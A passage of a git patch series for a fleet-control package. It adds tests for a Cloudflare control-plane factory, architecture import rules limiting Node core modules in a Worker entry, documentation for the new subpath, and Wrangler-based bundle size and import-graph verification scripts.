2, + required(constructed.client.mock.calls[0])[0], + ); + }); + + it.each([ + { includeDispatchNamespace: true }, + { hostRoutingKvId: 'root-hosts' }, + ])('rejects canonical persisted foreign-plane options at the stage boundary', async (options) => { + const control = createCloudflareControlPlane(hostOptions()); + await control.advanceFleetInventory({ + action: { kind: 'continue', token: { opaque: true } }, + maxProviderRequests: 9, + }); + const forwarded = required( + vi.mocked(advanceFleetInventory).mock.calls[0], + )[0]; + await expect( + forwarded.context.advanceStage(stageInput(options)), + ).rejects.toThrow('cannot advance dispatch or host-routing inventory'); + const providerContext = required( + vi.mocked(cloudflareFleetInventoryContext).mock.results[0], + ).value as FleetInventoryProviderContext; + expect(providerContext.advanceStage).not.toHaveBeenCalled(); + }); + + it('preserves the private provider context receiver for ordinary stage advancement', async () => { + const context: FleetInventoryProviderContext = { + async advanceStage(input) { + expect(this).toBe(context); + expect(input.options.includeDispatchNamespace).toBe(false); + return { + rows: [], + facts: [], + nextStage: { step: 'finalize' as const }, + providerRequests: 1, + diagnostics: [], + }; + }, + }; + vi.mocked(cloudflareFleetInventoryContext).mockReturnValue(context); + const control = createCloudflareControlPlane(hostOptions()); + await control.advanceFleetInventory({ + action: { kind: 'continue', token: TOKEN }, + maxProviderRequests: 9, + }); + const forwarded = required( + vi.mocked(advanceFleetInventory).mock.calls[0], + )[0]; + await expect( + forwarded.context.advanceStage(stageInput()), + ).resolves.toMatchObject({ providerRequests: 1 }); + }); + + it('forwards audit callbacks with captured receivers and rejects nonordinary callback specs and records', async () => { + const control = createCloudflareControlPlane(hostOptions()); + let resolvedSpec = SPEC; + const input: CloudflareAdvanceFleetAuditOptions = { + action: { + kind: 'start', + operationId: OPERATION_ID, + records: [RECORD], + staleAfterMs: 100, + }, + specFor(record) { + expect(this).toBe(input); + expect(record).toBe(RECORD); + return resolvedSpec; + }, + maintenanceSecretFor(record) { + expect(this).toBe(input); + expect(record).toBe(RECORD); + return sharedSecrets.maintenanceAdmin; + }, + auditClock() { + expect(this).toBe(input); + return 200; + }, + authorityClock() { + expect(this).toBe(input); + return 201; + }, + maxItemsPerCall: 11, + signal: new AbortController().signal, + }; + Reflect.set(input, 'backendFor', () => ({})); + await control.advanceFleetAudit(input); + const forwarded = required(vi.mocked(advanceFleetAudit).mock.calls[0])[0]; + expect(forwarded.backendFor(RECORD)).toBe( + required(constructed.backend.mock.calls[0])[0], + ); + expect(() => + forwarded.backendFor({ ...RECORD, backend: 'workers-for-platforms' }), + ).toThrow('requires plain-worker records'); + expect(forwarded.specFor(RECORD)).toBe(SPEC); + expect(forwarded.maintenanceSecretFor(RECORD)).toBe( + sharedSecrets.maintenanceAdmin, + ); + expect(forwarded.auditClock?.()).toBe(200); + expect(forwarded.authorityClock?.()).toBe(201); + expect(forwarded).toMatchObject({ + operationStore: required(constructed.operationStore.mock.calls[0])[0], + inventoryStore: required(constructed.inventoryStore.mock.calls[0])[0], + fleetStore: required(constructed.fleetStore.mock.calls[0])[0], + action: input.action, + maxItemsPerCall: 11, + signal: input.signal, + }); + Reflect.set(input, 'specFor', () => { + throw new Error('mutated callback'); + }); + expect(forwarded.specFor(RECORD)).toBe(SPEC); + resolvedSpec = { + ...SPEC, + authoredBy: 'external', + } as unknown as CloudflareDeploymentSpec; + expect(() => forwarded.specFor(RECORD)).toThrow( + 'requires platform-authored specifications', + ); + }); + + it('forwards migration callbacks with captured receivers and no backend-switch provider', async () => { + const control = createCloudflareControlPlane(hostOptions()); + let resolvedSpec = SPEC; + const settlement = { settle: vi.fn(async () => {}) }; + const input: CloudflareAdvanceFleetMigrationOptions = { + action: { + kind: 'start', + operationId: OPERATION_ID, + records: [RECORD], + canaryTenantTags: [], + }, + specFor(record) { + expect(this).toBe(input); + expect(record).toBe(RECORD); + return resolvedSpec; + }, + secretsFor(record) { + expect(this).toBe(input); + expect(record).toBe(RECORD); + return sharedSecrets; + }, + settlementFor(record) { + expect(this).toBe(input); + expect(record).toBe(RECORD); + return settlement; + }, + clock() { + expect(this).toBe(input); + return 300; + }, + routeAttestation, + }; + Reflect.set(input, 'finalizedStateProviderFor', () => ({})); + Reflect.set(input, 'backendFor', () => ({})); + await control.advanceFleetMigration(input); + const forwarded = required( + vi.mocked(advanceFleetMigration).mock.calls[0], + )[0]; + expect(forwarded.backendFor(RECORD)).toBe( + required(constructed.backend.mock.calls[0])[0], + ); + expect(() => + forwarded.backendFor({ ...RECORD, backend: 'workers-for-platforms' }), + ).toThrow('requires plain-worker records'); + expect(forwarded.specFor(RECORD)).toBe(SPEC); + expect(forwarded.secretsFor(RECORD)).toBe(sharedSecrets); + expect(forwarded.settlementFor?.(RECORD)).toBe(settlement); + expect(forwarded.clock?.()).toBe(300); + expect(forwarded.routeAttestation).toBe(routeAttestation); + expect(forwarded).not.toHaveProperty('finalizedStateProviderFor'); + expect(forwarded).toMatchObject({ + operationStore: required(constructed.operationStore.mock.calls[0])[0], + fleetStore: required(constructed.fleetStore.mock.calls[0])[0], + action: input.action, + }); + Reflect.set(input, 'specFor', () => { + throw new Error('mutated callback'); + }); + expect(forwarded.specFor(RECORD)).toBe(SPEC); + resolvedSpec = { + ...SPEC, + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + scriptName: 'state', + dispatchNamespace: 'platform', + }, + ], + } as unknown as CloudflareDeploymentSpec; + expect(() => forwarded.specFor(RECORD)).toThrow( + 'cannot use dispatch namespace bindings', + ); + }); + + it('forwards page reads and abandonment with the private stores', async () => { + const control = createCloudflareControlPlane(hostOptions()); + const page = { + operationId: OPERATION_ID, + afterOrdinal: 4, + limit: 10, + store: {}, + }; + const selectedPage = { + operationId: OPERATION_ID, + afterOrdinal: 4, + limit: 10, + }; + const auditResult = { findings: [], done: true as const }; + const migrationResult = { items: [], done: true }; + vi.mocked(readFleetAuditFindingsPage).mockResolvedValueOnce(auditResult); + vi.mocked(readFleetMigrationItemsPage).mockResolvedValueOnce( + migrationResult, + ); + await expect(control.readFleetAuditFindingsPage(page)).resolves.toBe( + auditResult, + ); + await expect(control.readFleetMigrationItemsPage(page)).resolves.toBe( + migrationResult, + ); + await control.readFleetInventoryGeneration(7); + await control.abandonFleetAuditOperation(OPERATION_ID); + await control.abandonFleetMigrationOperation(OPERATION_ID); + const operationStore = required( + constructed.operationStore.mock.calls[0], + )[0]; + const inventoryStore = required( + constructed.inventoryStore.mock.calls[0], + )[0]; + expect(readFleetAuditFindingsPage).toHaveBeenCalledExactlyOnceWith( + operationStore, + selectedPage, + ); + expect(readFleetMigrationItemsPage).toHaveBeenCalledExactlyOnceWith( + operationStore, + selectedPage, + ); + expect(readFleetInventoryGeneration).toHaveBeenCalledExactlyOnceWith( + inventoryStore, + 7, + ); + expect(abandonFleetAuditOperation).toHaveBeenCalledExactlyOnceWith({ + operationStore, + inventoryStore, + operationId: OPERATION_ID, + }); + expect(abandonFleetMigrationOperation).toHaveBeenCalledExactlyOnceWith({ + operationStore, + operationId: OPERATION_ID, + }); + }); + + it('preserves store receivers for deployment reads and bounded retention', async () => { + const control = createCloudflareControlPlane(hostOptions()); + const fleetStore = required( + constructed.fleetStore.mock.calls[0], + )[0] as D1FleetStateStore; + const inventoryStore = required( + constructed.inventoryStore.mock.calls[0], + )[0] as D1FleetInventoryRunStore; + const operationStore = required( + constructed.operationStore.mock.calls[0], + )[0] as D1FleetOperationStore; + const get = vi.spyOn(fleetStore, 'get').mockImplementation(async function ( + this: D1FleetStateStore, + ) { + expect(this).toBe(fleetStore); + return RECORD; + }); + const receipt = vi + .spyOn(fleetStore, 'readCleanupReceipt') + .mockImplementation(async function (this: D1FleetStateStore) { + expect(this).toBe(fleetStore); + return undefined; + }); + const cleanupPrune = vi + .spyOn(fleetStore, 'pruneCleanupReceipts') + .mockImplementation(async function (this: D1FleetStateStore) { + expect(this).toBe(fleetStore); + return { deleted: 2 }; + }); + const generation = vi + .spyOn(inventoryStore, 'latestFinalizedGeneration') + .mockImplementation(async function (this: D1FleetInventoryRunStore) { + expect(this).toBe(inventoryStore); + return undefined; + }); + const inventoryPrune = vi + .spyOn(inventoryStore, 'pruneInventoryGenerations') + .mockImplementation(async function (this: D1FleetInventoryRunStore) { + expect(this).toBe(inventoryStore); + return { deleted: 3 }; + }); + const operationPrune = vi + .spyOn(operationStore, 'pruneFleetOperations') + .mockImplementation(async function (this: D1FleetOperationStore) { + expect(this).toBe(operationStore); + return { deleted: 4, releasedPins: 1 }; + }); + const getDeployment = control.getDeployment; + await expect(getDeployment('acme', 'production')).resolves.toBe(RECORD); + await expect( + control.readCleanupReceipt(OPERATION_ID), + ).resolves.toBeUndefined(); + await expect( + control.latestFinalizedInventoryGeneration(), + ).resolves.toBeUndefined(); + await expect( + control.pruneCleanupReceipts({ completedBeforeMs: 99, limit: 5 }), + ).resolves.toEqual({ deleted: 2 }); + await expect( + control.pruneInventoryGenerations({ limit: 6 }), + ).resolves.toEqual({ deleted: 3 }); + await expect( + control.pruneFleetOperations({ kind: 'audit', limit: 7 }), + ).resolves.toEqual({ deleted: 4, releasedPins: 1 }); + expect(get).toHaveBeenCalledExactlyOnceWith('acme', 'production'); + expect(receipt).toHaveBeenCalledExactlyOnceWith(OPERATION_ID); + expect(generation).toHaveBeenCalledExactlyOnceWith(); + expect(cleanupPrune).toHaveBeenCalledExactlyOnceWith({ + completedBeforeMs: 99, + limit: 5, + }); + expect(inventoryPrune).toHaveBeenCalledExactlyOnceWith({ limit: 6 }); + expect(operationPrune).toHaveBeenCalledExactlyOnceWith({ + kind: 'audit', + limit: 7, + }); + }); +}); diff --git a/scripts/architecture-fixtures/control-plane-imports-forbidden-core.ts b/scripts/architecture-fixtures/control-plane-imports-forbidden-core.ts new file mode 100644 index 00000000..a6025b89 --- /dev/null +++ b/scripts/architecture-fixtures/control-plane-imports-forbidden-core.ts @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: Apache-2.0 +import 'node:fs/promises'; +import 'node:buffer'; +import 'node:crypto'; +import 'node:async_hooks'; +import 'node:test'; +import 'node:test/reporters'; +import 'node:sea'; +import 'node:sqlite'; diff --git a/scripts/architecture-fixtures/control-plane-imports-node-host.ts b/scripts/architecture-fixtures/control-plane-imports-node-host.ts new file mode 100644 index 00000000..5e18cf9d --- /dev/null +++ b/scripts/architecture-fixtures/control-plane-imports-node-host.ts @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: Apache-2.0 +import '../../packages/fleet-control/src/export-store.js'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 8ab73862..1e2ace28 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -1,6 +1,6 @@ import assert from 'node:assert/strict'; import { spawnSync } from 'node:child_process'; -import { createRequire } from 'node:module'; +import { builtinModules, createRequire, isBuiltin } from 'node:module'; import { relative } from 'node:path'; import test from 'node:test'; import { fileURLToPath } from 'node:url'; @@ -94,6 +94,10 @@ function hasCycleThrough(adjacency, source) { } const controls = { + 'fleet-control-worker-entry-avoids-node-host-adapters': + 'scripts/architecture-fixtures/control-plane-imports-node-host.ts', + 'fleet-control-worker-entry-limits-core-imports': + 'scripts/architecture-fixtures/control-plane-imports-forbidden-core.ts', 'flowsafe-public-entry-no-agent-host': 'scripts/architecture-fixtures/public-entry-imports-agent-host.ts', 'flowsafe-public-entry-no-breakwater': @@ -311,6 +315,56 @@ test('production transport class implementations are forbidden operation targets ); }); +test('Worker control-plane core policy admits crypto and async_hooks', () => { + const rule = architectureRules.find( + (rule) => rule.name === 'fleet-control-worker-entry-limits-core-imports', + ); + assert.ok(rule); + const entry = 'packages/fleet-control/src/cloudflare-control-plane.ts'; + for (const name of [ + 'fleet-control-worker-entry-limits-core-imports', + 'fleet-control-worker-entry-avoids-node-host-adapters', + ]) { + const entryRule = architectureRules.find( + (candidate) => candidate.name === name, + ); + assert.ok( + entryRule.from.path.some((pattern) => new RegExp(pattern).test(entry)), + name, + ); + } + const layer = architectureRules.find( + (candidate) => candidate.name === 'fleet-control-client-layers-are-one-way', + ); + const reverse = architectureRules.find( + (candidate) => + candidate.name === 'fleet-control-client-does-not-reach-its-consumers', + ); + assert.equal(new RegExp(layer.from.pathNot).test(entry), true); + assert.equal(new RegExp(reverse.to.path).test(entry), true); + const forbidden = new RegExp(rule.to.path); + for (const name of [ + 'node:test', + 'node:test/reporters', + 'node:sea', + 'node:sqlite', + ]) { + assert.equal(isBuiltin(name), true, name); + assert.equal(forbidden.test(name), true, name); + } + for (const name of ['node:crypto', 'node:async_hooks']) { + assert.equal(forbidden.test(name), false, name); + } + for (const raw of builtinModules) { + const name = raw.replace(/^node:/, ''); + assert.equal( + forbidden.test(name), + !['crypto', 'async_hooks'].includes(name), + name, + ); + } +}); + test('every architecture rule has an executable positive control', () => { const ruleNames = architectureRules.map((rule) => rule.name).sort(); assert.deepEqual(Object.keys(controls).sort(), ruleNames); @@ -512,6 +566,41 @@ for (const [ruleName, fixture] of Object.entries(controls)) { ); } } + if (ruleName === 'fleet-control-worker-entry-limits-core-imports') { + for (const target of [ + 'fs/promises', + 'buffer', + 'node:test', + 'node:test/reporters', + 'node:sea', + 'node:sqlite', + ]) { + assert.ok( + report.summary.violations.some( + (violation) => + violation.rule.name === ruleName && violation.to === target, + ), + ); + } + for (const allowed of ['crypto', 'async_hooks']) { + assert.equal( + report.summary.violations.some( + (violation) => + violation.rule.name === ruleName && violation.to === allowed, + ), + false, + ); + } + } + if (ruleName === 'fleet-control-worker-entry-avoids-node-host-adapters') { + assert.ok( + report.summary.violations.some( + (violation) => + violation.rule.name === ruleName && + violation.to === 'packages/fleet-control/src/export-store.ts', + ), + ); + } if (ruleName === 'flowsafe-public-entry-no-breakwater') { const entry = report.modules.find((module) => module.source === fixture); assert.deepEqual( From 308bd398ece77a22557f4b19fff49bf20bb60278 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 15:06:56 +0400 Subject: [PATCH 103/169] feat(fleet-control): expose Worker control-plane entry --- .changeset/fleet-control-worker-library.md | 9 + docs/api-reference.md | 6 + docs/getting-started.md | 2 +- packages/fleet-control/README.md | 9 +- packages/fleet-control/package.json | 9 +- .../scripts/control-plane-packed-bundle.mjs | 194 +++++ .../control-plane-packed-bundle.test.mjs | 84 ++ .../scripts/control-plane-packed-runtime.mjs | 220 ++++++ .../scripts/control-plane-packed-surface.mjs | 628 +++++++++++++++ .../control-plane-packed-surface.test.mjs | 215 ++++++ .../scripts/control-plane-packed-worker.ts | 724 ++++++++++++++++++ .../scripts/control-plane-packed-workload.mjs | 372 +++++++++ .../scripts/control-plane-packed-workload.ts | 699 +++++++++++++++++ .../scripts/packed-consumer-test.mjs | 70 +- packages/fleet-control/typedoc.json | 1 + 15 files changed, 3225 insertions(+), 17 deletions(-) create mode 100644 .changeset/fleet-control-worker-library.md create mode 100644 packages/fleet-control/scripts/control-plane-packed-bundle.mjs create mode 100644 packages/fleet-control/scripts/control-plane-packed-bundle.test.mjs create mode 100644 packages/fleet-control/scripts/control-plane-packed-runtime.mjs create mode 100644 packages/fleet-control/scripts/control-plane-packed-surface.mjs create mode 100644 packages/fleet-control/scripts/control-plane-packed-surface.test.mjs create mode 100644 packages/fleet-control/scripts/control-plane-packed-worker.ts create mode 100644 packages/fleet-control/scripts/control-plane-packed-workload.mjs create mode 100644 packages/fleet-control/scripts/control-plane-packed-workload.ts diff --git a/.changeset/fleet-control-worker-library.md b/.changeset/fleet-control-worker-library.md new file mode 100644 index 00000000..570f4f22 --- /dev/null +++ b/.changeset/fleet-control-worker-library.md @@ -0,0 +1,9 @@ +--- +'@proofoftech/fleet-control': minor +--- + +Expose `@proofoftech/fleet-control/cloudflare-control-plane` for a dedicated trusted Cloudflare Worker. The factory composes direct Cloudflare operations with durable Fleet D1 state, shared D1 quota coordination, and private R2 database exports. Continuation tokens resume bounded lifecycle operations against stored authority. + +Install the required `@cloudflare/workers-types >=5.20260730.1 <6` peer when typechecking consumers. Keep the Cloudflare token and control-plane bindings outside tenant-serving Workers, and authenticate and authorize operations before calling the library. + +The packed verification uses an unminified namespace-import Worker with raw and gzip regression budgets of 4,128,768 and 589,824 bytes. Those budgets apply 25% headroom to the initial packed measurements, rounded up to 64 KiB. They are repository regression limits; size inventory and audit workloads for the documented Worker resource envelope. diff --git a/docs/api-reference.md b/docs/api-reference.md index 90b2f5ce..1402c1ff 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -74,6 +74,12 @@ The migration and idempotency surfaces are grouped by subpath: | Settlement | `fleetSettlementKey`, `FleetSettlementContext`, `FleetSettlementEntry`, and `FleetSettlementHost` | | Backends and provider client | `PlainWorkerBackend`, `PlainWorkerBackendOptions`, `CloudflareApiPlainWorkerBackend`, `CloudflareApiPlainWorkerBackendOptions`, `WranglerLoopBackend`, `WorkersForPlatformsBackend`, `CloudflareProvisioningClient`, `CloudflareClientOptions`, `PlainWorkerCloudflareClientOptions`, `CloudflarePlaneCapabilityError`, `D1CloudflareApiRateCoordinator`, and `ProcessLocalCloudflareApiRateCoordinator` | +## fleet-control Worker library + +`@proofoftech/fleet-control/cloudflare-control-plane` is a library for a dedicated trusted Cloudflare control-plane Worker. Start with `createCloudflareControlPlane` and `CloudflareControlPlaneOptions`; the returned `CloudflareControlPlane` coordinates ordinary-Worker deployments through durable Fleet state. See the [Fleet Control guide](fleet-control.md) for deployment ownership and authorization. + +The subpath also exposes `D1FleetStateDatabase`, `D1CloudflareApiRateCoordinator`, and `R2DatabaseExportStore`. Its declarations require `@cloudflare/workers-types >=5.20260730.1 <6`. The `workers/*` entries remain deployable platform Workers. + ## Browser and server boundaries Safe browser imports: diff --git a/docs/getting-started.md b/docs/getting-started.md index d0d31921..17a609ee 100644 --- a/docs/getting-started.md +++ b/docs/getting-started.md @@ -4,7 +4,7 @@ This guide takes a Mastra application from package installation to one guarded c ## Prerequisites -- Node.js 22.13.0 or later for Breakwater and Flowsafe; the complete repository and private Fleet Control package require Node.js 22.22.0 or later +- Node.js 22.13.0 or later for Breakwater and Flowsafe; the complete repository and Fleet Control's Node host require Node.js 22.22.0 or later - An ESM TypeScript project using `moduleResolution: "NodeNext"`, `"Node16"`, or `"Bundler"` - `@mastra/core` `1.53.0` - A Cloudflare account, D1 database, and Durable Objects only when deploying flowsafe diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index 99edd11f..610ff0f7 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -16,7 +16,7 @@ Install it only in the one service that owns provisioning. Read [Import it only pnpm add @proofoftech/fleet-control ``` -The package is ESM only and requires Node `>=22.22.0`. It depends on `@proofoftech/flowsafe`, which supplies the deployment identity protocol, the maintenance capability, and the audit export contract that fleet control provisions against. +The package is ESM only. Node hosts require Node `>=22.22.0`; a Cloudflare Worker control plane imports `@proofoftech/fleet-control/cloudflare-control-plane`. The required type peer is `@cloudflare/workers-types >=5.20260730.1 <6`; this repository verifies `5.20260905.1`. It depends on `@proofoftech/flowsafe`, which supplies the deployment identity protocol, the maintenance capability, and the audit export contract that fleet control provisions against. That dependency is pinned to one exact FlowSafe release, deliberately. If you also depend on FlowSafe directly, pin it to the same release rather than letting a range resolve a second copy: FlowSafe's Durable Object classes are nominal and its maintenance receipt audience is fixed on both the minting and verifying side, so two copies fail closed at the maintenance boundary with no local signal. @@ -37,11 +37,16 @@ Fleet Control does not install a runtime Wrangler dependency. Keep the selected | Export | Contents | | --- | --- | | `@proofoftech/fleet-control` | Provisioning, migration, promotion, rollback, decommission, inventory, fleet state, and the Cloudflare client and rate coordinator. | +| `@proofoftech/fleet-control/cloudflare-control-plane` | Trusted ordinary-Worker control-plane factory, bounded lifecycle operations, D1 adapter and shared quota coordinator, R2 export store, and their data and error types. | | `@proofoftech/fleet-control/workers/dispatch` | Platform dispatch Worker that routes to a deployment's user script under a verified maintenance capability. | | `@proofoftech/fleet-control/workers/outbound` | Shared outbound Worker: the declared-egress proxy and the named `StateEgress` entrypoint. | | `@proofoftech/fleet-control/workers/audit-consumer` | Control-plane queue consumer for backend-owned deployment audit events. | -The three Worker exports are deployment artifacts for the platform's own Workers, not helpers to import into an application Worker. +The `workers/*` entries are deployment artifacts for the platform's own Workers. + +Import `createCloudflareControlPlane` from `cloudflare-control-plane` in a dedicated trusted control-plane Worker. Supply direct Fleet and quota D1 bindings, a private export R2 binding, and a host-owned Cloudflare token. Authorize incoming operations before calling the factory's methods. Never expose the token, bindings, or factory to a tenant-serving Worker. Queue delivery tokens identify requested work; durable Fleet state determines whether it can advance. + +Size inventory and audit workloads for the [documented memory and read-cost envelope](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#audit-an-account-under-a-request-budget). A provider-request budget does not establish a memory or CPU bound. Choose a backend from the artifact trust boundary and the provider integration available to your control plane: diff --git a/packages/fleet-control/package.json b/packages/fleet-control/package.json index b1348b24..3e6ffe3a 100644 --- a/packages/fleet-control/package.json +++ b/packages/fleet-control/package.json @@ -30,6 +30,10 @@ "types": "./dist/index.d.ts", "default": "./dist/index.js" }, + "./cloudflare-control-plane": { + "types": "./dist/cloudflare-control-plane.d.ts", + "default": "./dist/cloudflare-control-plane.js" + }, "./workers/dispatch": { "types": "./dist/workers/dispatch.d.ts", "default": "./dist/workers/dispatch.js" @@ -68,5 +72,8 @@ "vitest": "^4.1.8", "wrangler": "4.129.0" }, - "license": "Apache-2.0" + "license": "Apache-2.0", + "peerDependencies": { + "@cloudflare/workers-types": ">=5.20260730.1 <6" + } } diff --git a/packages/fleet-control/scripts/control-plane-packed-bundle.mjs b/packages/fleet-control/scripts/control-plane-packed-bundle.mjs new file mode 100644 index 00000000..fc709c47 --- /dev/null +++ b/packages/fleet-control/scripts/control-plane-packed-bundle.mjs @@ -0,0 +1,194 @@ +// SPDX-License-Identifier: Apache-2.0 + +import assert from 'node:assert/strict'; +import { execFileSync } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { mkdir, readFile, realpath, writeFile } from 'node:fs/promises'; +import { createRequire, isBuiltin } from 'node:module'; +import { join, resolve } from 'node:path'; +import { gzipSync } from 'node:zlib'; + +const variants = [ + { name: 'supported', date: '2026-08-06', flags: [] }, + { + name: 'historical-v1', + date: '2026-08-03', + flags: ['nodejs_compat', 'no_nodejs_compat_v2'], + }, + { + name: 'historical-v2', + date: '2026-08-03', + flags: ['nodejs_compat'], + }, +]; + +const hostModule = + /(?:^|\/)fleet-control\/dist\/(?:export-store|wrangler-loop-backend|wrangler-plain-worker-provisioning-api|wrangler-runner)\.js$/; + +const bundleBudget = { rawBytes: 4_128_768, gzipBytes: 589_824 }; + +export function assertControlPlaneBundleGraph(metadata) { + for (const [input, details] of Object.entries(metadata.inputs)) { + assert.ok(!hostModule.test(input), `Worker reaches host module: ${input}`); + for (const imported of details.imports) { + assertAllowedCore(imported.path); + } + } + for (const details of Object.values(metadata.outputs)) { + for (const imported of details.imports) { + assertAllowedCore(imported.path); + } + } +} + +function assertAllowedCore(path) { + if (!path.startsWith('node:') && !isBuiltin(path)) return; + assert.ok( + ['crypto', 'async_hooks'].includes(path.replace(/^node:/, '')), + `Worker reaches forbidden core module: ${path}`, + ); +} + +export async function verifyControlPlanePackedBundle({ + consumerDirectory, + packageRoot, +}) { + const directory = join(consumerDirectory, 'control-plane-bundle'); + const consumerRequire = createRequire( + join(consumerDirectory, 'package.json'), + ); + const installedEntry = await realpath( + consumerRequire.resolve( + '@proofoftech/fleet-control/cloudflare-control-plane', + ), + ); + await mkdir(directory); + await writeFile( + join(directory, 'worker.ts'), + `import * as controlPlane from '@proofoftech/fleet-control/cloudflare-control-plane'; +export default { + fetch() { + return Response.json(Object.fromEntries( + Object.entries(controlPlane).map(([name, value]) => [name, typeof value]), + )); + }, +}; +`, + ); + + const measurements = []; + for (const variant of variants) { + const outputDirectory = join(directory, variant.name); + await mkdir(outputDirectory); + const config = join(outputDirectory, 'wrangler.json'); + const metafile = join(outputDirectory, 'metafile.json'); + const bundleDirectory = join(outputDirectory, 'bundle'); + const workerBundle = join(outputDirectory, 'worker.bundle'); + await writeFile( + config, + `${JSON.stringify( + { + name: 'fleet-control-packed-bundle', + main: '../worker.ts', + compatibility_date: variant.date, + compatibility_flags: variant.flags, + }, + null, + 2, + )}\n`, + ); + const started = performance.now(); + const log = execFileSync( + join(packageRoot, 'node_modules/.bin/wrangler'), + [ + 'deploy', + '--config', + config, + '--dry-run', + '--outdir', + bundleDirectory, + '--metafile', + metafile, + '--outfile', + workerBundle, + ], + { cwd: consumerDirectory, encoding: 'utf8', stdio: 'pipe' }, + ); + await writeFile(join(outputDirectory, 'dry-run.log'), log); + const metadata = JSON.parse(await readFile(metafile, 'utf8')); + assertControlPlaneBundleGraph(metadata); + const entries = Object.keys(metadata.inputs).filter((input) => + input.endsWith('/fleet-control/dist/cloudflare-control-plane.js'), + ); + assert.equal( + entries.length, + 1, + 'bundle must reach the curated installed entry', + ); + assert.equal( + await realpath(resolve(outputDirectory, entries[0])), + installedEntry, + 'bundle must reach the same installed Fleet package as the consumer', + ); + const bytes = await readFile(join(bundleDirectory, 'worker.js')); + const gzipBytes = gzipSync(bytes).length; + assert.ok( + bytes.length <= bundleBudget.rawBytes, + `${variant.name} raw bundle exceeds the regression budget`, + ); + assert.ok( + gzipBytes <= bundleBudget.gzipBytes, + `${variant.name} gzip bundle exceeds the regression budget`, + ); + const profilePath = join(outputDirectory, 'startup.cpuprofile'); + const startupLog = execFileSync( + join(packageRoot, 'node_modules/.bin/wrangler'), + ['check', 'startup', '--worker', workerBundle, '--outfile', profilePath], + { cwd: consumerDirectory, encoding: 'utf8', stdio: 'pipe' }, + ); + await writeFile(join(outputDirectory, 'startup.log'), startupLog); + const profile = JSON.parse(await readFile(profilePath, 'utf8')); + const nodes = new Map( + profile.nodes.map((node) => [node.id, node.callFrame.functionName]), + ); + const activeMicroseconds = profile.timeDeltas.reduce( + (sum, delta, index) => + sum + (nodes.get(profile.samples[index]) === '(idle)' ? 0 : delta), + 0, + ); + measurements.push({ + ...variant, + rawBytes: bytes.length, + gzipBytes, + sha256: createHash('sha256').update(bytes).digest('hex'), + buildAndLocalProfileWallMs: performance.now() - started, + localStartupProfileWindowMs: + (profile.endTime - profile.startTime) / 1_000, + localStartupSampledActiveMs: activeMicroseconds / 1_000, + }); + } + + const baseline = measurements[0]; + for (const measurement of measurements) { + measurement.rawDeltaBytes = measurement.rawBytes - baseline.rawBytes; + measurement.gzipDeltaBytes = measurement.gzipBytes - baseline.gzipBytes; + measurement.rawDeltaPercent = + (100 * measurement.rawDeltaBytes) / baseline.rawBytes; + measurement.gzipDeltaPercent = + (100 * measurement.gzipDeltaBytes) / baseline.gzipBytes; + } + const report = { + measurement: + 'Unminified namespace-import Worker; gzip uses Node defaults. Startup CPU samples come from Wrangler local profiling, not Cloudflare deployment acceptance.', + bundleBudget, + measurements, + }; + await writeFile( + join(directory, 'measurements.json'), + `${JSON.stringify(report, null, 2)}\n`, + ); + process.stdout.write( + `fleet-control packed bundle: ${JSON.stringify(report)}\n`, + ); + return report; +} diff --git a/packages/fleet-control/scripts/control-plane-packed-bundle.test.mjs b/packages/fleet-control/scripts/control-plane-packed-bundle.test.mjs new file mode 100644 index 00000000..4b11a209 --- /dev/null +++ b/packages/fleet-control/scripts/control-plane-packed-bundle.test.mjs @@ -0,0 +1,84 @@ +// SPDX-License-Identifier: Apache-2.0 + +import assert from 'node:assert/strict'; +import { test } from 'node:test'; +import { assertControlPlaneBundleGraph } from './control-plane-packed-bundle.mjs'; + +function metadata(path, imports = []) { + return { + inputs: { [path]: { imports } }, + outputs: { 'worker.js': { imports: [] } }, + }; +} + +test('rejects a forbidden import even when esbuild omits it from the emitted Worker', () => { + assert.throws( + () => + assertControlPlaneBundleGraph( + metadata('dependency.js', [ + { + path: 'node:fs/promises', + kind: 'import-statement', + external: true, + }, + ]), + ), + /forbidden core module: node:fs\/promises/, + ); +}); + +test('rejects prefix-only builtins and unrecognized node names in emitted imports', () => { + for (const path of [ + 'node:test', + 'node:test/reporters', + 'node:sea', + 'node:sqlite', + 'node:future', + ]) { + const graph = metadata('dependency.js'); + graph.outputs['worker.js'].imports.push({ path, external: true }); + assert.throws( + () => assertControlPlaneBundleGraph(graph), + /forbidden core module/, + ); + } +}); + +test('rejects host adapters independent of their remaining emitted imports', () => { + for (const name of [ + 'export-store', + 'wrangler-loop-backend', + 'wrangler-plain-worker-provisioning-api', + 'wrangler-runner', + ]) { + assert.throws( + () => + assertControlPlaneBundleGraph( + metadata( + `../../node_modules/.pnpm/fleet/node_modules/@proofoftech/fleet-control/dist/${name}.js`, + ), + ), + /Worker reaches host module/, + ); + } +}); + +test('admits supported core imports without confusing SDK paths for Node modules', () => { + assertControlPlaneBundleGraph( + metadata( + '../node_modules/cloudflare/internal/utils/path.mjs', + [ + 'crypto', + 'node:crypto', + 'async_hooks', + 'node:async_hooks', + '', + ].map((path) => ({ path, external: true })), + ), + ); + assertControlPlaneBundleGraph( + metadata( + '../node_modules/@proofoftech/fleet-control/dist/r2-export-store.js', + ), + ); +}); diff --git a/packages/fleet-control/scripts/control-plane-packed-runtime.mjs b/packages/fleet-control/scripts/control-plane-packed-runtime.mjs new file mode 100644 index 00000000..295c9ea4 --- /dev/null +++ b/packages/fleet-control/scripts/control-plane-packed-runtime.mjs @@ -0,0 +1,220 @@ +// SPDX-License-Identifier: Apache-2.0 + +import assert from 'node:assert/strict'; +import { execFileSync } from 'node:child_process'; +import { copyFile, realpath, writeFile } from 'node:fs/promises'; +import { createRequire } from 'node:module'; +import { isAbsolute, join, relative } from 'node:path'; +import { createTestHarness } from 'wrangler'; + +export async function 